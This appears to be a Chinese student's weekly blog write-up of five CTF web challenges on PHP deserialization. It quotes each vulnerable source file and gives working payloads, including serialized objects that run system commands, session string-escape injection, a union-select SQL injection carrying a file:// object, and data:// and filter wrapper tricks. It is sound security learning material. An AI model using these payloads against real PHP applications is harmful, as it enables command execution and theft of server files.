上班
这周主要学了反序列化
主要是上周的考试反序列化没弄出来吧(虽然sql注入也没有做出来
题也是全是反序列化和代码审计(主要是自己菜
一.[网鼎杯 2020 朱雀组]phpweb
1.开局一张图和一个warning
在我还没读完warning就发现这个网站在跳
感觉和之前做过的一个题很像
肯定有东西
抓包试试
看见那个func和p好像在穿参就弄个file_get_contents试试
有回显再把p传一个他给的index试试
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
然后就看见了源码
2.反序列化
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
依据上面的
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
得O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
没看见flag
再构造exp
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
func=readfile&p=/tmp/flagoefiu4r93
唉 以后能复制就别打字 干
二.[安洵杯 2019]easy_serialize_php
这个开局是代码审计
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
观察到phpinfo有点东西 就蹭蹭康康
感受一下这个长度 这谁顶得住
终于
然后auto_append_file 在页面底部加载文件
再然后之前读到的info后面有个
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
先反序列化再base64
看上去很简单但是前面还有一个过滤函数(别问我怎么知道很复杂
过滤的话我们就可以用user的值定为关键词集合而把function中的值定为function和img的键和值
还有$userinfo[‘img’]的内容要改为d0g3_f1ag.php的base64编码值
_SESSION[user]=php5php5php5php5phpphp&_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化之后
a:3:{s:4:"user";s:22:"php5php5php5php5phpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
过滤后
a:3:{s:4:"user";s:22:"";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
加粗部分是22个字符,需要被和谐进user的值中,所以php5和php的字符串长度为22,也就是php5*4+php*2,才能够成功
后面看代码发现在flag在/d0g3_fllllllag
再把之前的那个东东的base64改成flag在/d0g3_fllllllag的base64就来了
三.[网鼎杯 2018]Fakebook
进去先注册账号,不注册没法(别问我怎么知道
blog必须http://开头(别问
然后点进去你的Facebook
发现报错就爱了
然后发现union被过滤
然后绕过嘛
unserialize好家伙
然后用sql跑包还有注入查找数据库这些都没太懂
这里就先不胡说了
直接反序列化
<?php
class UserInfo {
public $name = "test";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$p = new UserInfo();
echo serialize($p);
?>
view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
然后看源码一个个套娃点开就来了
四.网鼎杯2020[青龙组]--AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
上来就审计
发现用str穿参
再发现可以用read读flag
还有俩绕过
1.is_valid()里面要ascii码在32-125但protected属性在序列化后会出现不可见字符\00*\00
php7.1以上对属性类型不感冒,用public属性序列化不会出现不可见字符
2.__destruct()魔术方法中强弱类型比较要注意
直接op=2(“2” 这个“2”是字符
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "oavinci";
}
$p = new FileHandler();
echo serialize($p);
?>
然后就看源码来了
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}
五.[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
上来也是审计
考点:php伪协议
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
这里需要传参text且&&里面的
根据用法用base64
然后前面传 file
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
Filter伪协议来读源码
同样根据用法
然后就是就是else里面的unserialize
<?php
class flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$p = new flag();
echo serialize($p);
?>
结果
O:4:"flag":1:{s:4:"file";s:8:"flag.php";}
最后的payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"flag":1:{s:4:"file";s:8:"flag.php";}
然后看源码就来了
每周一笑
我找了flag半天你就给我看这个?
下班
更多推荐
Web安全新手入门学习Week9
发布评论